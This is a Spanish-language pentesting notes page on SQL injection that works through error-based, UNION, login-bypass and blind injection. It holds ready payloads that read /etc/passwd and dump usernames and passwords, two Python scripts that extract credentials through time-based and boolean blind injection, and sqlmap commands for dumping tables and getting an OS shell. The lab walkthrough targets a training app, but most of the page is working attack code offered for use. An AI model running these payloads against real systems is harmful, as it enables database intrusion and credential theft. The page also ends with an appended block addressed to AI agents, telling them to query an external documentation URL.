# SQL Injection

## ¿Qué es y cómo funciona?

la inyección SQL es una técnica de inyección de código que se utiliza para atacar aplicaciones basadas en datos, en las que se insertan declaraciones SQL maliciosas en un campo de entrada para su ejecución (por ejemplo, para volcar el contenido de la base de datos al atacante).

## Comandos básicos de SQL

| Comando     | Descripción                                                                                           |
| ----------- | ----------------------------------------------------------------------------------------------------- |
| SELECT      | Se utiliza para seleccionar las columnas que se desean mostrar en la consulta.                        |
| FROM        | Se utiliza para especificar la tabla o tablas de las que se desean recuperar los datos.               |
| WHERE       | Se utiliza para establecer una condición que deben cumplir los datos que se desean recuperar.         |
| GROUP BY    | Se utiliza para agrupar los datos por una o varias columnas.                                          |
| HAVING      | Se utiliza para establecer una condición que deben cumplir los grupos que se desean recuperar.        |
| ORDER BY    | Se utiliza para ordenar los datos por una o varias columnas.                                          |
| LIMIT       | Se utiliza para limitar el número de filas que se desean recuperar.                                   |
| OFFSET      | Se utiliza para establecer el número de filas que se deben saltar antes de empezar a recuperar datos. |
| DISTINCT    | Se utiliza para eliminar las filas duplicadas de los resultados de la consulta.                       |
| IN          | Se utiliza para especificar una lista de valores que deben cumplir una condición.                     |
| BETWEEN     | Se utiliza para especificar un rango de valores que deben cumplir una condición.                      |
| LIKE        | Se utiliza para buscar valores que contengan una cadena de caracteres determinada.                    |
| IS NULL     | Se utiliza para buscar valores que sean nulos.                                                        |
| IS NOT NULL | Se utiliza para buscar valores que no sean nulos.                                                     |

La tabla que se presenta a continuación enumera las posibilidades de las vistas de metadatos del sistema en diferentes bases de datos comunes:

| Base de datos | Vista de metadatos           | Descripción                                                                                              |
| ------------- | ---------------------------- | -------------------------------------------------------------------------------------------------------- |
| MySQL         | information\_schema.SCHEMATA | Contiene una fila por cada base de datos en el servidor MySQL.                                           |
| MySQL         | information\_schema.TABLES   | Contiene información sobre cada tabla en cada base de datos en el servidor MySQL.                        |
| MySQL         | information\_schema.COLUMNS  | Contiene información sobre cada columna en cada tabla en cada base de datos en el servidor MySQL.        |
| MySQL         | information\_schema.INDEXES  | Contiene información sobre cada índice en cada tabla en cada base de datos en el servidor MySQL.         |
| PostgreSQL    | pg\_catalog.pg\_namespace    | Contiene información sobre cada esquema en la base de datos de PostgreSQL.                               |
| PostgreSQL    | pg\_catalog.pg\_tables       | Contiene información sobre cada tabla en cada esquema en la base de datos de PostgreSQL.                 |
| PostgreSQL    | pg\_catalog.pg\_columns      | Contiene información sobre cada columna en cada tabla en cada esquema en la base de datos de PostgreSQL. |
| PostgreSQL    | pg\_catalog.pg\_indexes      | Contiene información sobre cada índice en cada tabla en cada esquema en la base de datos de PostgreSQL.  |
| SQL Server    | sys.schemas                  | Contiene información sobre cada esquema en la base de datos de SQL Server.                               |
| SQL Server    | sys.tables                   | Contiene información sobre cada tabla en cada esquema en la base de datos de SQL Server.                 |
| SQL Server    | sys.columns                  | Contiene información sobre cada columna en cada tabla en cada esquema en la base de datos de SQL Server. |
| SQL Server    | sys.indexes                  | Contiene información sobre cada índice en cada tabla en cada esquema en la base de datos de SQL Server.  |

### Check List

* [ ] Comprobar GET, POST parametros&#x20;
* [ ] HTTP Headers
  * [ ] User-Agent
  * [ ] Cookie
  * [ ] Accept
* [ ] Strings como ' or ""
* [ ] SQL Comandos **SELECT, UNION** y otros.
* [ ] Comandos **# o --**
* [ ] También puede haber el caso que este sanitizado pero mal, y sin ponerle ' o "" ya funciona el comando (id=1 order by 2)

## Tipos de SQL Injection

### SQL In-Band

Tenemos que saber que esto:

```sql
select * from departamento where id = 2;
```

Es lo mismo que esto:

```
http://webside.com/ayuda/vista.php?id=2
```

Así que podemos hacer después del id=2 mas consultas basadas en error, una vez entendido esto, vamos a las comandos:

### Test si hay sql injection

```
'admin OR sleep(5)-- - # si tarda 5 segundos significa que podemos inyectar
```

#### Error based - ORDER BY

Este proceso es para determinar cuantas columnas existen en la base de datos a la que estamos intentando de sacar información. Cuando hayamos hecho por ejemplo `order by 10 -- -` y no salga información solo hace falta ir bajando hasta que salga y así sabremos cuantas columnas tiene la bbdd.

<pre class="language-sql"><code class="lang-sql"><strong># Example
</strong><strong>http://webside.com/ayuda/vista.php?id=2' order by 2 — -
</strong><strong>order by 2 -- -
</strong></code></pre>

Nota importante: El caso es que a veces puede pasar que no sale el error, lo que hay que hacer es lo de siempre `order by 100-- -` hasta que te salga información, cuando te salga información por ejemplo cuando has hecho `order by 4-- -` significa que hay 4 columnas. Y ya puedes seguir con la inyección.

Recordar que para que muestre la info tenemos que poner el primer parametro que sea erroneo porque sino no funcionará. Si existe el `id=2` al hacer la query `id=2 union select 1,2,3,database() -- -` no saldrá información por que es correcto el id, habría que poner `id=-1` o `id=23123` para que funcione.

#### UNION

```sql
union select 1,2,3,4 -- -
union select 1,”test”,3,4 -- -
union select NULL,NULL,NULL,NULL -- -
union select 1,database(),3,4 -- -  #mostrar bbdd actual
union select 1,user(),3,4 -- - # mostrar usuario
union select 1,@@version,3,4; -- - # mostrar version de sql
union select 1,load_file(‘/etc/passwd’),3,4 -- - # que nos muestre el fichero /etc/passwd 
union select 1,group_concat(schema_name),3,4 from information_schema.schemata -- - # quiero que en el campo 2 pongas los nombres de todas las bases de datos disponibles
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = '<bbdd>' -- - # que en campo 2 me ponga todos los nombres de tablas
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = '<bbdd>' and table_name='<tabla>' -- - 
union select 1,group_concat(username,0x3a,password),3,4 from <bbdd>.<table> -- -  # nos de los usuarios y contraseñas de esa base de datos y esa tabla
```

A veces puede pasar que filtramos por (username y password) y puede que no aparezcan las contraseñas, eso es por que a veces suele estar en la columna "authentication\_string"

<figure><img src="/files/bRDYm7cdHFBUSAIUhm1w" alt=""><figcaption></figcaption></figure>

Así que deberíamos añadir el campo en la syntaxis

```
union select 1,group_concat(username,0x3a,password,0x3a,authentication_string),3,4 from <bbdd>.<table> -- -
```

#### Test en buscador&#x20;

A veces podemos sacar información en un buscador de la web mediante sqlinjection.

<pre class="language-sql"><code class="lang-sql"><strong># Ejemplo
</strong>http://victim.site/view.php?id=1131

<strong># Vulnerar con OR siempre TRUE (Ej: id=1131' OR '1'='1 )
</strong>' OR 1=1; -- -
<strong>' OR '1'='1 
</strong>' OR 'a'='a
  OR 1=1
' OR ''='
' or 1=2; -- -  # Falsa condición
# UNION
' UNION SELECT 'j4ckie1', 'j4ckie2'; -- - # si da fallo, significa que hay más columnas y hay que añadir más 'j4ckie' 
' UNION SELECT Username,Password FROM Accounts WHERE 'a'='a';
' UNION SELECT user(); -- -';
</code></pre>

#### Test en Login

&#x20;veces con este tipo de sql injectio podemos bypassear el login de un panel.

```sql
# Normalmente este proceso se prueba con Burpsuite
user=aa
password= aa
# Interceptamos la petición y realizamos unas pruebas
user=a'&pass=a # si da un fallo de mysql es vulnerable --> 302 NOT FOUND (probamos lo mismo en el campo password)
user=a' OR 1=1; -- -&password=a # true condition
user=a' OR 'j4ckie'='j4ckie'; -- -&password=a
user=a' OR 1=2; -- -&password=a # false condition
```

### SQL Blind/Boolean-based

Cuando hablamos de una SQL Injection la cuál no podemos ver el resultado de la petición se le llama a ciegas, y dentro de esta misma variable hay de 2 tipos:

* Basada en tiempo
* Basada en condiciones

#### Tiempo

Una SQL Injection de tiempo son cuando enviamos una petición y le ponemos el parámetro sleep y dependiendo de lo que tarde en responder podriamos determinar si los datos son correctos o no.

**Ejemplo de como sería por detrás**

```sql
select * from users where id = 1 and sleep(5);
```

Ahora pondré un ejemplo de si la base de datos con la que estamos trabajando actualmente empieza por 'a' tarda 5 segundos en responder:

**Primera petición**

```sql
MariaDB [j4ckie0x17]> select * from users where id = 1 and if(substr(database(),1,1)='a',sleep(5),1);
+------+----------+-----------+
| id   | username | password  |
+------+----------+-----------+
|    1 | jack     | admin1234 |
+------+----------+-----------+
1 row in set (0,001 sec)
```

**Segunda petición**

```
MariaDB [j4ckie0x17]> select * from users where id = 1 and if(substr(database(),1,1)='j',sleep(5),1);
Empty set 5,001 sec)
```

Como podemos ver en la segunda petición no nos da ningún resultado, eso nos da a entender que el primer carácter de la base de datos empieza por j. Y en la primera obviamente sería el resultado de una petición no correcta ya que no empieza por a.

Este proceso es un poco tedioso a la hora de hacerlo manual, por eso os traigo un script en python que estuve haciendo en un curso de s4vitar el cuál te automatiza todo el proceso:

Solamente tenemos que cambiar 2 parámetros que cambian dependiendo de a lo que nos enfrentemos:

* main\_url
* sql\_url

**SQL-URL Examples**

```sql
# Saber la base de datos
id=9' if(ascii(substr(database(),1,1))=106,sleep(5),1);
# Saber schema_name
?id=9' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),%d,1))=%d,sleep(0.5),1)-- -
?id=9' and if(ascii(substr((select group_concat(table_name) from information_schema.tables),%d,1))=%d,sleep(0.5),1)-- -
?id=9' and if(ascii(substr((select group_concat(column_name) from information_schema.columns),%d,1))=%d,sleep(0.5),1)-- -
```

**Script python para SQL Injection en GET**

```python
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string

from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables Globales
main_url = "http://localhost/searchUsers.php"
characters = string.printable

def makeSQLI():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso")

    time.sleep(2)

    p2 = log.progress("Datos extraídos")
    extracted_info = ""

    for position in range (1, 50):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1 and if(ascii(substr(select group_concat(username,0x3a,password),%d,1))=%d,sleep(0.5),1)" % (position, character) # Aquí le decimos al 1er %d que es position y el segundo %d es character

            p1.status(sqli_url)
            
            time_start = time.time()
            
            r = requests.get(sqli_url)
            
            time_end = time.time()
            if time_end - time_start > 0.5:
                extracted_info += (chr(character))
                p2.status(extracted_info)
                break

if __name__ == '__main__':
    
    makeSQLI()
```

**Resultado del script**

```bash
python sqli_time.py
[↙] Fuerza bruta: http://localhost/searchUsers.php?id=1 and if(ascii(substr(database(),46,1))=53,sleep(0.5),1)[d] 
Datos extraídos: j4ckie0x17:password123
```

**Script python para SQL Injection en POST**

```
```

#### Condiciones

Una SQL Injection condicional es cuando enviamos la petición y le ponemos la condición true o false.

<figure><img src="/files/eHblfAyFYmKlUTtz31ox" alt=""><figcaption></figcaption></figure>

Si ponemos al final de la query esto `' OR 1=1-- -` nos aparecera de nuevo toda la tabla ya que le estamos diciendo que obvie todo lo de atrás y que muestre todo ya que 1=1 es true.

<figure><img src="/files/GIjtwbw8babrt0Xg3Gx8" alt=""><figcaption></figcaption></figure>

O por ejemplo imaginemos que estamos enfrentandonos a una tabla de usuarios y queremos descubrir si el primer carácter empieza por a.

```
select(select substring(username,1,1) from users where id=1)='a';
```

<figure><img src="/files/CxAdZuxOi3pm9mfyKe2h" alt=""><figcaption></figcaption></figure>

Cómo el primer usuario es jack, la condición te dice que es 0 que es false. Pero si le ponemos ='j' veremos que pone 1.

```
select(select substring(username,1,1) from users where id=1)='j';
```

<figure><img src="/files/FP1qiguubLpwJawNrWCC" alt=""><figcaption></figcaption></figure>

Otro ejemplo que lo estaré haciendo con curl es el siguiente:

El id 9 no existe pero como despues hacemos un `OR 1=1` pues lo detecta como true que le decimos que obvie lo de atrás y muestre todo

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9 or 1=1"
HTTP/1.1 200 OK
Date: Tue, 02 May 2023 06:04:27 GMT
Server: Apache/2.4.56 (Debian)
Content-Length: 1
Content-Type: text/html; charset=UTF-8
```

Pero si ponemos 1=2 que es false nos dará un 404

```
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9 or 1=2"
HTTP/1.1 404 Not Found
Date: Tue, 02 May 2023 06:05:33 GMT
Server: Apache/2.4.56 (Debian)
Content-Length: 1
Content-Type: text/html; charset=UTF-8
```

#### Script de python para condicones

```python
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string

from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables Globales
main_url = "http://localhost/searchUsers.php"
characters = string.printable

def makeSQLI():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso")

    time.sleep(2)

    p2 = log.progress("Datos extraídos")
    extracted_info = ""

    for position in range (1, 50):
        for character in range(33, 126):
            sqli_url = main_url + "?id=9 or (select(select ascii(substring((select group_concat(username) from users),%d,1)) from users where id=1)=%d)" % (position, character) # Aquí le decimos al 1er %d que es position y el segundo %d es character

            p1.status(sqli_url)

            r = requests.get(sqli_url)
            
            if r.status_code == 200:
                extracted_info += (chr(character))
                p2.status(extracted_info)
                break

if __name__ == '__main__':
    
    makeSQLI()

```

## Ejemplo SQL Injection - Error Based

Este ejemplo lo he realizado con un laboratorio que puedes instalarte en docker, aquí el link

{% embed url="<https://github.com/appsecco/sqlinjection-training-app>" %}

Primero tenemos que saber cuantas columnas tiene la base de datos actual, con BurpSuite interceptamos la petición y la mandamos al Repeater para hacer las pruebas.

```sql
order by 9-- -
```

<figure><img src="/files/cYymlcpRiNsow2kdS5SJ" alt=""><figcaption></figcaption></figure>

```sql
order by 5-- -
```

Vemos que con 5 ya no nos da error

<figure><img src="/files/OoS6GyI4BOadzSRU7dDP" alt=""><figcaption></figcaption></figure>

Empecemos con lo bueno, vamos a realizar unas pruebas para ver si poniendo con UNION unos datos se representa en la tabla

```sql
' union select 1,2,database(),4,5-- -
```

<figure><img src="/files/PDy92yypBQOrsX2x7mJX" alt=""><figcaption><p>Aparece la base de datos actual sqlitraining</p></figcaption></figure>

Ahora vamos a listar todas las bases de datos existentes del servidor

```sql
' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```

<figure><img src="/files/ickkOTWiZm6pKsM6DZwJ" alt=""><figcaption><p>Vemos que se listan todas las bases de datos</p></figcaption></figure>

En el siguiente comando listaremos las tablas de la base de datos sqlitraining

```sql
' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='sqlitraining'-- -
```

<figure><img src="/files/9S9UZHefVtk9NMkqorYT" alt=""><figcaption><p>Podemos ver que hay 2 tablas, la products y la users</p></figcaption></figure>

Seguidamente listaremos todas las columnas de la tabla users

```sql
' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='sqlitraining' and table_name='users'-- -
```

<figure><img src="/files/Pdf4MwLXF2NVYed8EVcn" alt=""><figcaption><p>Vemos los campos id, username, password, fname, description</p></figcaption></figure>

Nos interesan los campos username y password

```sql
' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```

<figure><img src="/files/WV1i80vSmPQVGUkGl0UC" alt=""><figcaption></figcaption></figure>

Si cambiamos la respuesta a Pretty podemos seleccionar todos los datos

<figure><img src="/files/DS4UDa8nqZiUf5JNAaRX" alt=""><figcaption></figcaption></figure>

También podemos ver estos datos de una manera más ordenada poniendo el campo username y password en las columnas

```sql
' union select 1,username,password,4,5 from users-- -
```

<figure><img src="/files/NhAWN4x43sqinQSImh2e" alt=""><figcaption></figcaption></figure>

## SQL Map

### Sintaxis principal

```bash
sqlmap -u <URL> -p <parametro de la inyección> [opcion]
```

### Sqlmap en buscador

<pre class="language-bash"><code class="lang-bash">sqlmap -u 'http://victim.site/view.php?id=1141' -p id #Ejemplo de sintaxis

sqlmap -u &#x3C;URL> -p &#x3C;parametro de la inyección> [opcion] # Basic syntax

<strong>sqlmap -u &#x3C;URL> -p &#x3C;parametro> --technique=TECH #Get Request (TECH opciones: BEUSTQ)
</strong>sqlmap -u &#x3C;URL> -p search --technique=U # buscar inyeccion UNION en la url
sqlmap -u &#x3C;URL> -p search --technique=U --banner -v3 --fresh-queries # ver el payload que ha utilizado para la inyección.
sqlmap -u &#x3C;URL> --method POST --data=param1=FUZZ&#x26;param2=FUZZ #POST Request
sqlmap -u &#x3C;URL> -p search --technique=U --dbs # Enumerar bases de datos
sqlmap -u &#x3C;URL> --tables #Enumerar tablas
sqlmap -u &#x3C;URL> --current-db &#x3C;BBDD> --columns # Enumerar columnas
sqlmap -u &#x3C;URL> -p search --technique=U -D &#x3C;bbdd> -T users --columns # Enumerar columnas
<strong>sqlmap -u &#x3C;URL> --current-db &#x3C;BBDD> --dump #Ver datos de las columnas
</strong>sqlmap -u &#x3C;URL> -p search --technique=U -D &#x3C;bbdd> -T users -C username,password --dump # ver datos de esas columnas especificas
sqlmap -u &#x3C;URL> -p search --technique=U --users # Enumerar usuarios
</code></pre>

Cuando hayamos conseguido el payload del sql map para inyectarlo manualmente, al final poner siempre **%23.**

### Sqlmap en Login

```
sqlmap -u 'http://victim.site/login.php' # url que atacamos
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B --banner # test inyeccion login
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B -dbs # enum bbdd
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B -D <BBDD> # bbdd especifica
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B -D <BBDD> --tables
# Ahora con proxy interceptamos la request principal y la guardamos en un archivo
sqlmap -r <URL file> -p user --technique=B --banner # inyeccion en user
sqlmap -r <URL file> -p user --technique=B --banner -v3 # ver payload
sqlmap -r <URL file> -p user --os-shell # para obtener una shell en el mysql
```

```
POST /searchproducts.php HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://localhost:8000
DNT: 1
Connection: close
Referer: http://localhost:8000/searchproducts.php
Cookie: PHPSESSID=8118130a69f64a1de05e86673f417197
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
searchitem=test
```

### Sqlmap -r

Primero hay que interceptar la petición y después guardarla en un fichero y entonces decirle al sqlmap que parámetro tiene que consultar

El parámetro al que queremos que compruebe si es vulnerable es \`searchitem=test\`

```
sqlmap -r request.req -p searchitem --batch # buscar si es vulnerable
sqlmap -r request.req -p searchitem --batch --dbs # mostrar bases de datos
sqlmap -r request.req -p searchitem --batch -D <base de datos> --tables # muestrame las tablas de X base de datos
sqlmap -r request.req -p searchitem --batch -D <base de datos> -T users --columns # columnas de tabla X
sqlmap -r request.req -p searchitem --batch -D <base de datos> -T users -C username,password --dump # muestrame la información de esas columnas
```

En /usr/share/sqlmap/output/\<target> encontramos todos los logs de los comandos y info que hemos hecho. Si no hay nada ejecuta la siguiente comanda: sqlmap -r \<URL file> -p user --technique=B --banner -v3 --flush-session

### SQL Map cheat sheet

Aquí encontrarás todos los comandos de sqlmap: [Cheat sheet](https://dl.packetstormsecurity.net/papers/cheatsheets/sqlmap-cheatsheet-1.0-SDB.pdf)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/pentesting-web/sql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
